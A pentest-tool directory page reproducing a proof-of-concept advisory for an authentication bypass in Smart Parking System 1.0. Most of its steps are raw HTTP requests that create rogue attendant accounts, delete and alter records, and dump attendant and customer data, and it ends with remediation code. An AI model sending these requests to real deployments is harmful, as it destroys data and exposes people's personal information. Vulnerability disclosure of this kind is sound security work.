Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/xmyronn/cve-2026-10243-auth
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthentication
GitHubxmyronn/cve-2026-10243-auth

CVE-2026-10243-AUTH

Proof of concept demonstrating unauthenticated access to critical admin functions in Smart Parking System 1.0, allowing account creation, data manipulation, and PII exposure.

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Smart Parking System 1.0 - Unauthenticated Access to Critical Admin Functions

Vulnerability Information

FieldDetails
ProductSmart Parking System
Vendorcode-projects.org
Version1.0
Vulnerability ClassMissing Authentication for Critical Function (CWE-306)
CVE IDPending
CVSS Score9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Authentication RequiredNone
Affected Filesattendant.php, edit.php, basic_table.php, basic_table2.php, admin_request.php

Description

The Smart Parking System 1.0 by code-projects.org fails to enforce authentication on multiple admin-only endpoints. An unauthenticated remote attacker can directly access these endpoints with no session cookie and perform privileged operations including creating attendant accounts, editing and deleting parking records, and viewing all customer PII and booking data.

No credentials, no session token, and no interaction from any legitimate user is required to exploit this vulnerability.


Attack Chain Overview

root@kitploit:~
No credentials / no session
        ↓
Direct GET request to admin endpoints
        ↓
attendant.php     → create rogue attendant accounts
edit.php          → read and overwrite any parking record
basic_table.php   → delete any parking record
basic_table2.php  → dump all attendant PII
admin_request.php → dump all customer emails and booking data
        ↓
Full admin functionality compromised

Step-by-Step Proof of Concept

Step 1 — Confirm Unauthenticated State

Open a fresh browser session with no cookies. Navigate to the application root. The login page is presented confirming no active session exists:

root@kitploit:~
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/ HTTP/1.1
Host: 192.168.0.9

Step 2 — Access Attendant Creation Panel (No Auth)

Navigate directly to the attendant registration endpoint:

root@kitploit:~
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/attendant.php HTTP/1.1
Host: 192.168.0.9

Result: The full "Add Parking Attendant Details" form loads with fields for first name, last name, mobile number, street, username, and password. An attacker can register a rogue attendant account with system access.


Step 3 — Read and Modify Parking Records (No Auth)

Navigate directly to the parking record edit endpoint:

root@kitploit:~
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//edit.php?edit=5 HTTP/1.1
Host: 192.168.0.9

Result: The "Update Parkings Details" form loads pre-populated with live database values:

root@kitploit:~
City:   Mombasa
Street: Tudor
Slots:  150
Cost:   500

An attacker can overwrite any field and submit to persist changes directly to the database.


Step 4 — Delete Parking Record (No Auth)

Send a direct GET request to the delete endpoint:

root@kitploit:~
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/basic_table.php?delete=4 HTTP/1.1
Host: 192.168.0.9

Result: The application responds with:

root@kitploit:~
Parking deleted successfully

The record is permanently destroyed in the database. No authentication, no CSRF token, and no confirmation prompt required.


Step 5 — Dump All Parking Attendants (No Auth)

Navigate directly to the attendant listing endpoint:

root@kitploit:~
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//basic_table2.php HTTP/1.1
Host: 192.168.0.9

Result: Full attendant roster returned including names, mobile numbers, and assigned streets:

root@kitploit:~
karis  kelvin  070824555  msa
king   doshi   0708009360 Nairobi
james  peter   0708009360 vol
tset   test    0708009360 tset

Step 6 — Dump All Customer Booking Data (No Auth)

Navigate directly to the admin booking requests endpoint:

root@kitploit:~
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//admin_request.php HTTP/1.1
Host: 192.168.0.9

Result: All customer booking records returned including emails, slots, hours, and costs:

root@kitploit:~
[email protected]   slots:4  hours:2  cost:4000  status:requested
[email protected]   slots:1  hours:6  cost:1200  status:Completed
[email protected]    slots:1  hours:2  cost:1000  status:requested
[email protected]       slots:1  hours:1  cost:500   status:requested
[email protected]        slots:1  hours:1  cost:500   status:requested
[email protected]    slots:1  hours:1  cost:500   status:requested
[email protected]    slots:1  hours:3  cost:0     status:requested
[email protected]       slots:1  hours:2  cost:1000  status:requested

Impact

  • Full admin panel access — all privileged functionality reachable with zero credentials
  • Data destruction — any parking record can be permanently deleted
  • Data manipulation — any parking record can be modified
  • Privilege escalation — rogue attendant accounts creatable with system login
  • PII exposure — all customer emails and booking history harvested
  • Attendant data leak — full roster including names and phone numbers exposed

Affected Files Summary

FileVulnerability
attendant.phpUnauthenticated attendant account creation
edit.phpUnauthenticated read/write access to parking records
basic_table.phpUnauthenticated deletion of parking records
basic_table2.phpUnauthenticated access to full attendant PII
admin_request.phpUnauthenticated access to all customer booking data

Remediation

Add a session authentication check at the top of every admin-facing PHP file:

root@kitploit:~
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
    header("Location: index.php");
    exit();
}

References

  • Vendor Homepage
  • CWE-306: Missing Authentication for Critical Function
  • OWASP: Broken Access Control

Discoverer

  • Researcher: Imad Alvi
Download Tool